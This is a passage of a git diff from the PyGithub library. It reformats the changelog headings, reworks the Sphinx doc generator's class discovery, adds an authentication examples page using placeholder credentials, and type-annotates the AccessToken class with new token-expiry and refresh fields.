Repository @IbrahimAH (#2380) +* Add code scanning alerts @eric-nieuwland (#2227) Version 1.57 (November 05, 2022) ----------------------------------- -**Breaking Changes** +Breaking Changes +^^^^^^^^^^^^^^^^ * Add support for Python 3.11, drop support for Python 3.6 (#2332) (1e2f10dc) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Speed up get requested reviewers and teams for pr (#2349) (6725eceb) * [WorkflowRun] - Add missing attributes (`run_started_at` & `run_attempt`), remove deprecated `unicode` type (#2273) (3a6235b5) @@ -34,11 +404,13 @@ Version 1.57 (November 05, 2022) Version 1.56 (October 13, 2022) ----------------------------------- -**Important** +Important +^^^^^^^^^ This is the last release that will support Python 3.6. -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Create repo from template (#2090) (b50283a7) * Improve signature of Repository.create_repo (#2118) (001970d4) @@ -64,7 +436,9 @@ This is the last release that will support Python 3.6. Version 1.55 (April 26, 2021) ----------------------------------- -**Breaking Changes** + +Breaking Changes +^^^^^^^^^^^^^^^^ * Remove client_id/client_secret authentication (#1888) (901af8c8) * Adjust to Github API changes regarding emails (#1890) (2c77cfad) @@ -72,7 +446,8 @@ Version 1.55 (April 26, 2021) * PublicKey.key_id could be int on Github Enterprise (#1894) (ad124ef4) * Export headers in GithubException (#1887) (ddd437a7) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Do not import from unpackaged paths in typing (#1926) (27ba7838) * Implement hash for CompletableGithubObject (#1922) (4faff23c) @@ -112,16 +487,20 @@ Version 1.54.1 (December 24, 2020) Version 1.54 (November 30, 2020) ----------------------------------- -**Important** + +Important +^^^^^^^^^ This is the last release that will support Python 3.5. -**Breaking Changes** +Breaking Changes +^^^^^^^^^^^^^^^^ The Github.get_installation(integer) method has been removed. Repository.create_deployment()'s payload parameter is now a dictionary. -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Add support for Check Suites (#1764) (6d501b28) * Add missing preview features of Deployment and Deployment Statuses API (#1674) (197e0653) @@ -154,7 +533,7 @@ Version 1.53 (August 18, 2020) * Fix Repository.create_repository_dispatch type signature (#1643) (f891bd61) * PaginatedList's totalCount is 0 if no last page (#1641) (69b37b4a) * Add initial support for Github Apps. (#1631) (260558c1) -* Correct **kwargs typing for search_* (#1636) (165d995d) +* Correct ``**kwargs`` typing for ``search_*`` (#1636) (165d995d) * Add delete_branch_on_merge arg to Repository.edit type stub (#1639) (15b5ae0c) * Fix type stub for MainClass.get_user (#1637) (8912be64) * Add type stub for Repository.create_fork (#1638) (de386dfb) @@ -222,7 +601,9 @@ Version 1.51 (May 03, 2020) Version 1.50 (April 26, 2020) ----------------------------------- -**New features** + +New features +^^^^^^^^^^^^ * PyGithub now supports type checking thanks to (#1231) (91433fe9) * Slack is now the main channel of communication rather than Gitter (6a6e7c26) @@ -233,7 +614,8 @@ Version 1.50 (April 26, 2020) * Add some Organization and Repository attributes. (#1468) (3ab97d61) * Add create project method (801ea385) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Drop use of shadow-cat for draft PRs (#1469) (84bb69ab) * AuthenticatedUser.get_organization_membership() should be str (#1473) (38b34db5) @@ -247,7 +629,9 @@ Version 1.50 (April 26, 2020) Version 1.47 (March 15, 2020) ----------------------------------- -**Bug Fixes & Improvements** + +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Add support to edit and delete a project (#1434) (f11f7395) * Add method for fetching pull requests associated with a commit (#1433) (0c55381b) @@ -276,11 +660,13 @@ Version 1.47 (March 15, 2020) Version 1.46 (February 11, 2020) ----------------------------------- -**Important** +Important +^^^^^^^^^ Python 2 support has been removed. If you still require Python 2, use 1.45. -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Add repo edit support for delete_branch_on_merge (#1381) (9564cd4d) * Fix mistake in Repository.create_fork() (#1383) (ad040baf) @@ -298,11 +684,13 @@ Python 2 support has been removed. If you still require Python 2, use 1.45. Version 1.45 (December 29, 2019) ----------------------------------- -**Important** +Important +^^^^^^^^^ * This is the last release of PyGithub that will support Python 2. -**Breaking Changes** +Breaking Changes +^^^^^^^^^^^^^^^^ * Branch.edit_{user,team}_push_restrictions() have been removed * The new API is: @@ -311,7 +699,8 @@ Version 1.45 (December 29, 2019) - Branch.remove_{user,team}_push_restrictions() to remove members * The api_preview parameter to Github() has been removed. -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Allow sha=None for InputGitTreeElement (#1327) (60464f65) * Support github timeline events. (#1302) (732fd26a) @@ -349,12 +738,15 @@ Version 1.44.1 (November 07, 2019) Version 1.44 (October 19, 2019) ----------------------------------- -**New features** + +New features +^^^^^^^^^^^^ * This version supports running under Python 3 directly, and the test suite passes under both 2.7 and recent 3.x's. -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Stop ignoring unused imports and remove them (#1250) (a0765083) * Bump httpretty to be a greater or equal to (#1262) (27092fb0) @@ -386,7 +778,9 @@ Version 1.44 (October 19, 2019) Version 1.43.8 (July 20, 2019) ----------------------------------- -**New features** + +New features +^^^^^^^^^^^^ * Add two factor attributes on organizations (#1132) (a0731685) * Add Repository methods for pending invitations (#1159) (57af1e05) @@ -401,14 +795,17 @@ Version 1.43.8 (July 20, 2019) * Handle a path of / in Repository.get_contents() (#1070) (102c8208) * Add issue lock/unlock (#1107) (ec7bbcf5) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Fix bug in recursive repository contents example (#1166) (8b6b4505) * Allow name to be specified for upload_asset (#1151) (8d2a6b53) * Fixes #1106 for GitHub Enterprise API (#1110) (54065792) -**Deprecation** -* Repository.get_file_contents() no longer works use Repository.get_contents() instead +Deprecation +^^^^^^^^^^^ + +* Repository.get_file_contents() no longer works use Repository.get_contents() instead Version 1.43.7 (April 16, 2019) ----------------------------------- @@ -418,7 +815,9 @@ Version 1.43.7 (April 16, 2019) Version 1.43.6 (April 05, 2019) ----------------------------------- -**New features** + +New features +^^^^^^^^^^^^ * Add support for Python 3.7 (#1028) (6faa00ac) * Adding HTTP retry functionality via urllib3 (#1002) (5ae7af55) @@ -427,13 +826,15 @@ Version 1.43.6 (April 05, 2019) * Add url parameter to include anonymous contributors in `get_contributors` (#1075) (293846be) * Provide option to extend expiration of jwt token (#1068) (86a9d8e9) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Fix the default parameter for `PullRequest.create_review` (#1058) (118def30) * Fix `get_access_token` (#1042) (6a89eb64) * Fix `Organization.add_to_members` role passing (#1039) (480f91cf) -**Deprecation** +Deprecation +^^^^^^^^^^^ * Remove Status API (6efd6318) @@ -447,13 +848,15 @@ Version 1.43.5 (January 29, 2019) Version 1.43.4 (December 21, 2018) ----------------------------------- -**New features** +New features +^^^^^^^^^^^^ * Add Migration API (#899) (b4d895ed) * Add Traffic API (#977) (a433a2fe) * New in Project API: create repository project, create project column (#995) (1c0fd97d) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Change type of GitRelease.author to NamedUser (#969) (aca50a75) * Use total_count from data in PaginatedList (#963) (ec177610) @@ -461,7 +864,8 @@ Version 1.43.4 (December 21, 2018) Version 1.43.3 (October 31, 2018) ----------------------------------- -**New features** +New features +^^^^^^^^^^^^ * Add support for JWT authentication (#948) (8ccf9a94) * Added support for required signatures on protected branches (#939) (8ee75a28) @@ -471,7 +875,8 @@ Version 1.43.3 (October 31, 2018) * Adding ``suspended_at`` property to NamedUSer (#922) (c13b43ea) * Add since parameter for Gists (#914) (e18b1078) -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ * Fix missing parameters when reversing ``PaginatedList`` (#946) (60a684c5) * Fix unable to trigger ``RateLimitExceededException``. (#943) (972446d5) @@ -499,13 +904,15 @@ Version 1.43 (September 08, 2018) ----------------------------------- -**BUGFIX** +Bug Fixes +^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5) * Fixed ``Gistfile.content`` (#486) (e1df09f7) * Restored NamedUser.contributions attribute (#865) (b91dee8d) -**New features** +New features +^^^^^^^^^^^^ * Add support for repository topics (#832) (c6802b51) * Add support for required approving review count (#888) (ef16702) @@ -523,7 +930,8 @@ Version 1.43 (September 08, 2018) + Add `RequiredStatusChecks `__ + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc -**Improvements** +Improvements +^^^^^^^^^^^^ * Add missing arguments to ``Repository.edit`` (#844) (29d23151) * Add missing attributes to Repository (#842) (2b352fb3) @@ -534,7 +942,8 @@ Version 1.43 (September 08, 2018) * Add missing attributes for IssueEvent (#857) (7ac2a2a) * Change ``MainClass.get_repo`` default laziness (#882) (6732517) -**Deprecation** +Deprecation +^^^^^^^^^^^ * Removed Repository.get_protected_branch (#871) (49db6f8) @@ -544,7 +953,8 @@ Version 1.42 (August 19, 2018) * Fix travis upload issue -**BUGFIX** +Bug Fixes +^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5) * Fixed ``Gistfile.content`` (#486) (e1df09f7) @@ -573,7 +983,8 @@ Improvements Version 1.41 (August 19, 2018) ----------------------------------- -**BUGFIX** +Bug Fixes +^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5) * Fixed ``Gistfile.content`` (#486) (e1df09f7) @@ -751,7 +1162,7 @@ Version 1.29 (October 10, 2016) ----------------------------------- * add issue assignee param (3a8edc7) -* Fix diffrerent case (fcf6cfb) +* Fix different case (fcf6cfb) * DOC: remove easy_install suggestion; update links (45e76d9) * Add permission param documentation (9347345) * Add ability to set permission for team repo (5dddea7) @@ -1141,7 +1552,7 @@ Pre-release versions * POST `/repos/:owner/:repo/git/trees?base_tree-` * Gists -* Autorizations +* Authorizations * Keys * Hooks * Events diff --git a/doc/conf.py b/doc/conf.py index 0dd2e8470d..dff0aab051 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -7,6 +7,12 @@ # Copyright 2018 Morgan Goose # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Liuyang Wan # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,16 +32,20 @@ # # ################################################################################ +from __future__ import annotations + import datetime import glob import os +import re import sys +from typing import Iterable # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath("..")) -from importlib.metadata import version # noqa: E402, isort:skip +from importlib.metadata import version # noqa: E402 setupVersion = version("pygithub") @@ -268,24 +278,45 @@ autodoc_member_order = "bysource" autoclass_content = "both" -githubClasses = [ - fileName[10:-3] - for fileName in sorted(glob.glob("../github/*.py")) - if fileName - not in [ - "../github/GithubException.py", - "../github/GithubObject.py", - "../github/InputFileContent.py", - "../github/InputGitAuthor.py", - "../github/InputGitTreeElement.py", - "../github/Legacy.py", - "../github/MainClass.py", - "../github/PaginatedList.py", - "../github/Requester.py", - "../github/Consts.py", - "../github/__init__.py", - ] -] +githubObjectTypes = { + variation + for object_type in ["GithubObject", "CompletableGithubObject", "NonCompletableGithubObject"] + for variation in [object_type, "GithubObject." + object_type, "github.GithubObject." + object_type] +} +githubObjectClasses: dict[str, str] = {} + + +def collect_classes(types: set[str]) -> Iterable[tuple[str, str]]: + def get_base_classes(class_definition: str) -> Iterable[str]: + if "(" in class_definition and ")" in class_definition: + for base in class_definition[class_definition.index("(") + 1 : class_definition.index(")")].split(","): + yield base.strip() + else: + return [] + + for filename in sorted(glob.glob("../github/*.py")): + module = f"github.{filename[10:-3]}" + with open(filename) as r: + for line in r.readlines(): + if line.startswith("class ") and any([base in types for base in get_base_classes(line)]): + class_name = re.match(r"class (\w+)[:(]", line).group(1) + if class_name not in types: + yield class_name, f"{module}" + + +# get all classes derived from GithubObject classes directly +classes = list(collect_classes(githubObjectTypes)) +while classes: + githubObjectClasses.update(classes) + # get all classes derived from detected classes + githubObjectTypes.update( + { + variation + for object_type in [cls for cls, _ in classes] + for variation in [object_type, "GithubObject." + object_type, "github.GithubObject." + object_type] + } + ) + classes = list(collect_classes(set(githubObjectTypes))) with open("github_objects.rst", "w") as f: f.write("Github objects\n") @@ -294,23 +325,21 @@ f.write(".. autoclass:: github.GithubObject.GithubObject()\n") f.write("\n") f.write(".. toctree::\n") - for githubClass in githubClasses: - f.write(" github_objects/" + githubClass + "\n") + for githubObjectClass in sorted(githubObjectClasses.keys()): + f.write(" github_objects/" + githubObjectClass + "\n") -for githubClass in githubClasses: - with open("github_objects/" + githubClass + ".rst", "w") as f: - f.write(githubClass + "\n") - f.write("=" * len(githubClass) + "\n") +for githubObjectClass, module in githubObjectClasses.items(): + with open("github_objects/" + githubObjectClass + ".rst", "w") as f: + f.write(githubObjectClass + "\n") + f.write("=" * len(githubObjectClass) + "\n") f.write("\n") - f.write(".. autoclass:: github." + githubClass + "." + githubClass + "()\n") + f.write(".. autoclass:: " + module + "." + githubObjectClass + "()\n") methods = dict() -for githubClass in githubClasses + ["MainClass"]: - with open("../github/" + githubClass + ".py") as f: - if githubClass == "MainClass": - githubClass = "github.MainClass.Github" - else: - githubClass = "github." + githubClass + "." + githubClass +githubObjectClasses.update([("MainClass", "github.MainClass")]) +githubObjectClasses.update([("GithubIntegration", "github.GithubIntegration")]) +for githubObjectClass, module in githubObjectClasses.items(): + with open("../" + module.replace(".", "/") + ".py") as f: method = None isProperty = False for line in f: @@ -345,7 +374,7 @@ methods[url] = dict() if verb not in methods[url]: methods[url][verb] = set() - methods[url][verb].add(":meth:`" + githubClass + "." + method + "`") + methods[url][verb].add(":meth:`" + module + "." + githubObjectClass + "." + method + "`") method = None methods["/markdown/raw"] = dict() @@ -362,7 +391,5 @@ apis.write("\n") for verb in ["GET", "PATCH", "POST", "PUT", "DELETE"]: if verb in verbs: - apis.write( - " * " + verb + ": " + " or ".join(sorted(verbs[verb])) + "\n" - ) + apis.write(" * " + verb + ": " + " or ".join(sorted(verbs[verb])) + "\n") apis.write("\n") diff --git a/doc/examples.rst b/doc/examples.rst index 1358e9a38a..f1fd9b14fc 100644 --- a/doc/examples.rst +++ b/doc/examples.rst @@ -3,6 +3,7 @@ Examples .. toctree:: + examples/Authentication examples/MainClass examples/Repository examples/Branch diff --git a/doc/examples/Authentication.rst b/doc/examples/Authentication.rst new file mode 100644 index 0000000000..1e22e32de7 --- /dev/null +++ b/doc/examples/Authentication.rst @@ -0,0 +1,138 @@ +Authentication +============== + +Github supports various authentication methods. Depending on the entity that authenticates and the Github API endpoint +being called, only a subset of methods is available. + +All authentication methods require this import: + +.. code-block:: python + + >>> from github import Auth + +Login authentication +-------------------- + +Users can authenticate by a login and password: + +.. code-block:: python + + >>> auth = Auth.Login("user_login", "password") + >>> g = Github(auth=auth) + >>> g.get_user().login + 'user_login' + +OAuth token authentication +-------------------------- + +Users can authenticate by a token: + +.. code-block:: python + + >>> auth = Auth.Token("access_token") + >>> g = Github(auth=auth) + >>> g.get_user().login + 'login' + +Netrc authentication +-------------------- + +Write your credentials into a ``.netrc`` file: + +.. code-block:: netrc + + machine api.github.com + login token + password + +You might need to create the environment variable ``NETRC`` with the path to this file. + +Then, use a ``github.Auth.NetrcAuth`` instance to access these information: + +.. code-block:: python + + >>> auth = Auth.NetrcAuth() + >>> g = Github(auth=auth) + >>> g.get_user().login + 'login' + +App authentication +------------------ + +A Github Apps authenticate by an application id and a private key. + +Note that there is only a limited set of endpoints that can be called when authenticated as a Github App. +Instead of using ``github.Github``, entry point ``github.GithubIntegration`` should be used +when authenticated as a Github App: + +.. code-block:: python + + >>> auth = Auth.AppAuth(123456, private_key) + >>> gi = GithubIntegration(auth=auth) + >>> for installation in gi.get_installations(): + ... installation.id + '1234567' + +Get a ``github.Github`` instance authenticated as an App installation: + +.. code-block:: python + + >>> installation = gi.get_installations()[0] + >>> g = installation.get_github_for_installation() + >>> g.get_repo("user/repo").name + 'repo' + +App installation authentication +------------------------------- + +A specific installation of a Github App can use the Github API like a normal user. +It authenticates by the Github App authentication (see above) and the installation id. +The ``AppInstallationAuth`` fetches an access token for the installation and handles its +expiration timeout. The access token is refreshed automatically. + +.. code-block:: python + + >>> auth = Auth.AppAuth(123456, private_key).get_installation_auth(installation_id, token_permissions) + >>> g = Github(auth=auth) + >>> g.get_repo("user/repo").name + 'repo' + +Alternatively, the `github.Github` instance can be retrieved via `github.GithubIntegration`: + +.. code-block:: python + + >>> auth = Auth.AppAuth(123456, private_key) + >>> gi = GithubIntegration(auth=auth) + >>> g = gi.get_github_for_installation(installation_id, token_permissions) + >>> g.get_repo("user/repo").name + 'repo' + +App user authentication +----------------------- + +A Github App can authenticate on behalf of a user. For this, the user has to `generate a user access token for a Github App `__. +This process completes with a one-time ``code``. Together with the ``client_id`` and ``client_secret`` of the app, +a Github App user token can be generated once: + + >>> g = Github() + >>> app = g.get_oauth_application(client_id, client_secret) + >>> token = app.get_access_token(code) + +Memorize the ``token.refresh_token``, as only this can be used to create new tokens for this user. +The ``token.token`` expires 8 hours, and the ``token.refresh_token`` expires 6 months after creation. + +A token can be refreshed as follows. This invalidates the old token and old refresh token, and creates +a new set of token and refresh tokens: + + >>> g = Github() + >>> app = g.get_oauth_application(client_id, client_secret) + >>> token = app.refresh_access_token(refresh_token) + +You can authenticate with Github using this token: + + >>> auth = app.get_app_user_auth(token) + >>> g = Github(auth=auth) + >>> g.get_user().login + 'user_login' + +The ``auth`` instance will refresh the token automatically when ``auth.token`` is accessed. diff --git a/doc/examples/Commit.rst b/doc/examples/Commit.rst index 63ab92d639..777b0c7602 100644 --- a/doc/examples/Commit.rst +++ b/doc/examples/Commit.rst @@ -25,4 +25,4 @@ Get commit date >>> print(commit.commit.author.date) 2018-10-11 03:04:52 >>> print(commit.commit.committer.date) - 2018-10-11 03:04:52 \ No newline at end of file + 2018-10-11 03:04:52 diff --git a/doc/examples/Issue.rst b/doc/examples/Issue.rst index bb86d4c26a..cdf60c4685 100644 --- a/doc/examples/Issue.rst +++ b/doc/examples/Issue.rst @@ -9,7 +9,7 @@ Get issue >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.get_issue(number=874) Issue(title="PyGithub example usage", number=874) - + Create comment on issue ----------------------- diff --git a/doc/examples/MainClass.rst b/doc/examples/MainClass.rst index e232332be3..dc2390914b 100644 --- a/doc/examples/MainClass.rst +++ b/doc/examples/MainClass.rst @@ -39,6 +39,16 @@ Get organization by name >>> org.login u'PyGithub' +Get enterprise consumed licenses by name +---------------------------------------- + +.. code-block:: python + + >>> enterprise = g.get_enterprise_consumed_licenses("PyGithub") + >>> enterprise_consumed_licenses = enterprise.get_enterprise_consumed_licenses() + >>> enterprise_consumed_licenses.total_seats_consumed + 5000 + Search repositories by language ------------------------------- diff --git a/doc/examples/Milestone.rst b/doc/examples/Milestone.rst index 0649e55cd7..69d3574a88 100644 --- a/doc/examples/Milestone.rst +++ b/doc/examples/Milestone.rst @@ -10,9 +10,9 @@ Get Milestone list >>> open_milestones = repo.get_milestones(state='open') >>> for milestone in open_milestones: ... print(milestone) - ... - Milestone(number=1) - Milestone(number=2) + ... + Milestone(number=1) + Milestone(number=2) Get Milestone ------------- @@ -21,7 +21,7 @@ Get Milestone >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.get_milestone(number=1) - Milestone(number=1) + Milestone(number=1) Create Milestone ---------------- @@ -30,7 +30,7 @@ Create Milestone >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.create_milestone(title='New Milestone') - Milestone(number=1) + Milestone(number=1) Create Milestone with State and Description ------------------------------------------- @@ -39,4 +39,4 @@ Create Milestone with State and Description >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.create_milestone(title='New Milestone', state='open', description='Milestone description') - Milestone(number=1) + Milestone(number=1) diff --git a/doc/examples/PullRequest.rst b/doc/examples/PullRequest.rst index be6a4ea074..586207ebd1 100644 --- a/doc/examples/PullRequest.rst +++ b/doc/examples/PullRequest.rst @@ -15,7 +15,7 @@ Create a new Pull Request >>> - [x] Send 'GET' request >>> - [x] Send 'POST' request with/without body >>> ''' - >>> pr = repo.create_pull(title="Use 'requests' instead of 'httplib'", body=body, head="develop", base="master") + >>> pr = repo.create_pull(base="master", head="develop", title="Use 'requests' instead of 'httplib'", body=body) >>> pr PullRequest(title="Use 'requests' instead of 'httplib'", number=664) @@ -35,11 +35,28 @@ Get Pull Requests by Query .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") - >>> pulls = repo.get_pulls(state='open', sort='created', base='master') + >>> pulls = repo.get_pulls(state='open', sort='created', base='master') >>> for pr in pulls: ... print(pr.number) - ... + ... 400 861 875 876 + +Add and modify Pull Request comment +----------------------------------- + +.. code-block:: python + + >>> repo = g.get_repo("PyGithub/PyGithub") + >>> pr = repo.get_pull(2390) + >>> last_commit = pr.get_commits()[pr.commits - 1] + >>> comment = pr.create_comment("This is a comment", last_commit, "file.txt", 0) + >>> comment + PullRequestComment(user=NamedUser(login="anonymous"), id=1057297855) + >>> comment.body + 'This is a comment' + >>> comment.edit("This is a modified comment") + >>> comment.body + 'This is a modified comment' diff --git a/doc/github_integration.rst b/doc/github_integration.rst new file mode 100644 index 0000000000..6c9d337048 --- /dev/null +++ b/doc/github_integration.rst @@ -0,0 +1,4 @@ +Main class: GithubIntegration +============================= + +.. autoclass:: github.GithubIntegration.GithubIntegration diff --git a/doc/index.rst b/doc/index.rst index 0a8aa75bb9..bf9c9bcf34 100644 --- a/doc/index.rst +++ b/doc/index.rst @@ -7,4 +7,4 @@ PyGithub introduction examples reference - changes \ No newline at end of file + changes diff --git a/doc/introduction.rst b/doc/introduction.rst index cc8fa70edd..9bafead684 100644 --- a/doc/introduction.rst +++ b/doc/introduction.rst @@ -14,12 +14,18 @@ please `open an issue `__. First create a Github instance:: from github import Github - + + # Authentication is defined via github.Auth + from github import Auth + # using an access token - g = Github("access_token") + auth = Auth.Token("access_token") + + # Public Web Github + g = Github(auth=auth) # Github Enterprise with custom hostname - g = Github(base_url="https://{hostname}/api/v3", login_or_token="access_token") + g = Github(auth=auth, base_url="https://{hostname}/api/v3") Then play with your Github objects:: @@ -29,6 +35,10 @@ Then play with your Github objects:: # to see all the available attributes and methods print(dir(repo)) +To close connections after use:: + + g.close() + Download and install -------------------- @@ -73,7 +83,7 @@ Projects using PyGithub * https://github.com/plus3it/satsuki - Automate GitHub releases and uploading binary release assets * `check-in `_ — Python CLI distribution that allows user to use GitHub Checks API as a bot. * https://github.com/hasii2011/gittodoistclone - Convert GitHub issues to Todoist tasks - + They talk about PyGithub ------------------------ diff --git a/doc/reference.rst b/doc/reference.rst index d540318f89..95d5805473 100644 --- a/doc/reference.rst +++ b/doc/reference.rst @@ -6,6 +6,7 @@ Reference .. toctree:: github + github_integration apis utilities github_objects diff --git a/doc/utilities.rst b/doc/utilities.rst index 7bcba90050..3206fcddbf 100644 --- a/doc/utilities.rst +++ b/doc/utilities.rst @@ -1,6 +1,18 @@ Utilities ========= +Authentication +-------------- + +.. autoclass:: github.Auth.Login +.. autoclass:: github.Auth.Token +.. autoclass:: github.Auth.JWT +.. autoclass:: github.Auth.AppAuth +.. autoclass:: github.Auth.AppAuthToken +.. autoclass:: github.Auth.AppInstallationAuth +.. autoclass:: github.Auth.AppUserAuth +.. autoclass:: github.Auth.NetrcAuth + Logging ------- diff --git a/github/AccessToken.py b/github/AccessToken.py index bb6423eda5..a7c21805a4 100644 --- a/github/AccessToken.py +++ b/github/AccessToken.py @@ -1,6 +1,23 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # # Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2022 Liuyang Wan # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,53 +37,121 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime, timedelta, timezone +from typing import Any -class AccessToken(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class AccessToken(NonCompletableGithubObject): """ This class represents access tokens. """ - def __repr__(self): + _created: datetime + + def _initAttributes(self) -> None: + self._token: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + self._scope: Attribute[str] = NotSet + self._expires_in: Attribute[int | None] = NotSet + self._refresh_token: Attribute[str] = NotSet + self._refresh_expires_in: Attribute[int | None] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "token": f"{self.token[:5]}...", "scope": self.scope, "type": self.type, + "expires_in": self.expires_in, + "refresh_token": (f"{self.refresh_token[:5]}..." if self.refresh_token else None), + "refresh_token_expires_in": self.refresh_expires_in, } ) @property - def token(self): + def token(self) -> str: """ :type: string """ return self._token.value @property - def type(self): + def type(self) -> str: """ :type: string """ return self._type.value @property - def scope(self): + def scope(self) -> str: """ :type: string """ return self._scope.value - def _initAttributes(self): - self._token = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._scope = github.GithubObject.NotSet + @property + def created(self) -> datetime: + """ + :type: datetime + """ + return self._created + + @property + def expires_in(self) -> int | None: + """ + :type: Optional[int] + """ + return self._expires_in.value + + @property + def expires_at(self) -> datetime | None: + """ + :type: Optional[datetime] + """ + seconds = self.expires_in + if seconds is not None: + return self._created + timedelta(seconds=seconds) + return None + + @property + def refresh_token(self) -> str | None: + """ + :type: Optional[string] + """ + return self._refresh_token.value + + @property + def refresh_expires_in(self) -> int | None: + """ + :type: Optional[int] + """ + return self._refresh_expires_in.value + + @property + def refresh_expires_at(self) -> datetime | None: + """ + :type: Optional[datetime] + """ + seconds = self.refresh_expires_in + if seconds is not None: + return self._created + timedelta(seconds=seconds) + return None - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: + self._created = datetime.now(timezone.utc) if "access_token" in attributes: # pragma no branch self._token = self._makeStringAttribute(attributes["access_token"]) if "token_type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["token_type"]) if "scope" in attributes: # pragma no branch self._scope = self._makeStringAttribute(attributes["scope"]) + if "expires_in" in attributes: # pragma no branch + self._expires_in = self._makeIntAttribute(attributes["expires_in"]) + if "refresh_token" in attributes: # pragma no branch + self._refresh_token = self._makeStringAttribute(attributes["refresh_token"]) + if "refresh_token_expires_in" in attributes: # pragma no branch + self._refresh_expires_in = self._makeIntAttribute(attributes["refresh_token_expires_in"]) diff --git a/github/AccessToken.pyi b/github/AccessToken.pyi deleted file mode 100644 index 220666aa90..0000000000 --- a/github/AccessToken.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class AccessToken(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def token(self) -> str: ... - @property - def type(self) -> str: ... - @property - def scope(self) -> str: ... diff --git a/github/AdvancedSecurity.py b/github/AdvancedSecurity.py index 078367e938..a748ace1b0 100644 --- a/github/AdvancedSecurity.py +++ b/github/AdvancedSecurity.py @@ -1,25 +1,21 @@ -import github.Commit -import github.GithubObject +from github.GithubObject import NonCompletableGithubObject, NotSet -class AdvancedSecurity(github.GithubObject.NonCompletableGithubObject): +class AdvancedSecurity(NonCompletableGithubObject): """ This class represents AdvancedSecurity. """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property - def status(self): - """ - :type: string - """ + def status(self) -> str: return self._status.value - def _initAttributes(self): - self._status = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._status = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes) -> None: if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) diff --git a/github/AdvisoryBase.py b/github/AdvisoryBase.py new file mode 100644 index 0000000000..157bb7383b --- /dev/null +++ b/github/AdvisoryBase.py @@ -0,0 +1,148 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Joseph Henrich # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the 